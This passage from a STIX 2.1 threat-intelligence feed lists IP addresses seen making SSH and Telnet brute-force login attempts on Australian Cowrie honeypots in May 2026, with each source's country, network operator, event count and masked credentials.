      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--9fbab1c3-664d-48d5-9643-a473c9247528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.195.95.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263937. Organisation(s): Hi Tech Net Ltda - ME.",
      "id": "indicator--6dba8973-c7af-42e3-8ff4-2c2dfef5d517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.219.21.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8cb77493-e2a1-43c0-b11b-9cbf25d5ddd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.112.173.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n. Passwords observed (masked): a******3.",
      "id": "indicator--7b0513b5-e74c-49a2-851a-ff0847b40cea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262544. Organisation(s): RazaoInfo Internet Ltda.",
      "id": "indicator--0f3b760c-2858-4e6a-90c1-5f6824457871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.70.77.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28220. Organisation(s): Alares Cabo Servicos de Telecomunicacoes S.A..",
      "id": "indicator--194d48eb-4b5d-43af-b718-a14b835f7451",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.96.246.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--a423bf1c-b76a-4cbf-af9d-d81565f77710",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.78.95.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262764. Organisation(s): USONET INTERNET TECNOLOGIC EIRELI.",
      "id": "indicator--7dd4dab9-a67b-4585-a8cd-854b5a0cb1f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.195.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--63e05af9-773b-4604-b700-84fe65c3b5bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--117d90b8-5d55-45f5-bcf6-c8f3e9c46ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.4.120.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 267705. Organisation(s): ORBIT CABLE, S.A..",
      "id": "indicator--aa54527d-8a2f-4d88-92e5-823b63fc19c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.199.112.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 267705. Organisation(s): ORBIT CABLE, S.A..",
      "id": "indicator--48e3bca0-0bf1-4dd7-ad23-d6f9a5fe1f63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.199.112.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 267705. Organisation(s): ORBIT CABLE, S.A..",
      "id": "indicator--225f3e5d-90aa-4364-9ef7-630853731d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.199.112.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267298. Organisation(s): SILVESTRE EVANGELISTA ALVES ME.",
      "id": "indicator--7ad571b6-dd3a-4f77-85f4-48302520de52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.233.26.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--ed0e5e6a-a177-44a3-9012-8470abafb278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T23:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.9.161.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T23:15:12.000Z",
      "valid_until": "2026-06-24T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--cc89abff-a2e4-4521-ad6a-1fdaa0b1bcb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.174.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 263717. Organisation(s): SOL TELECOMUNICACIONES S.A..",
      "id": "indicator--b5e36315-d43f-4095-b5ab-8984578dfb09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.250.37.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--7819fbb8-3fc0-4adc-9c1f-cc53f9d1251a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.68.194.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--c4121acc-c6e8-480d-8409-70a2687e19ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.76.227.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s******s. Passwords observed (masked): z**********0.",
      "id": "indicator--2cebfa52-ad93-4df9-9533-4809fffbab52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--48cb3faf-90f9-42e2-b62d-10867fe19190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.54.58.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--282fd2f3-3f2b-477c-8d6e-ef180db31123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.8.164.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--54b5358f-cffa-45d8-97ad-c3aa442d48cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a****1, ***, r**t, u****u. Passwords observed (masked): 1****6, 3***********4, a*******3, a*******t, ***.",
      "id": "indicator--363862ee-fcd0-46f1-b39c-c687a7978637",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.136.68.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 252. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4cfceba5-3c56-42d6-8dae-d97342364711",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.201.171.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--e7ab9103-689a-4d8b-bb8d-3eaf5c7b59c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.83.137.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): b****a, r**t, 3**********4, ***, u******1. Passwords observed (masked): 1****6, 3***********4, 3**********4, V*****3, a*******t.",
      "id": "indicator--2c30edd2-e6ff-4b54-b623-3b7bbf4710f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.133.194.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267574. Organisation(s): ELTECWEB PROVEDOR DE INTERNET LTDA.",
      "id": "indicator--6d365d32-7991-4fc7-99b3-c40bd6b793ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.70.28.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd64cd53-e032-45cc-aa31-dc2d3effd229",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T00:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T00:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:15:12.000Z",
      "valid_until": "2026-06-25T00:15:09.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 198983. Organisation(s): 'Tornado Datacenter GmbH & Co. KG'.",
      "id": "indicator--77656132-1436-40c3-9c6e-56ab6b4589b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.194.147.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--f3096bff-2cad-46dc-8511-f25f2003ade5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.125.190.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 271988. Organisation(s): ISRAEL DE LOS SANTOS WIFI SRL.",
      "id": "indicator--0f95cf34-2ae4-4e03-a739-46e06a78610d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.88.171.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 52362. Organisation(s): Servicios Innovadores de Comunicacion y Entretenimiento, S.A..",
      "id": "indicator--2a482efc-6afd-47a9-8c34-e0eb4b387d33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.150.30.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--92237447-0860-4258-93e1-2515567ac928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A. Usernames observed (masked): r***s, r**t, 3**********4, a******o, d******r. Passwords observed (masked): 3***********4, 3**********4, P******d, Q**********0, a******o.",
      "id": "indicator--afdee806-5073-4c3a-ac0d-388cc1a567b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.39.158.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
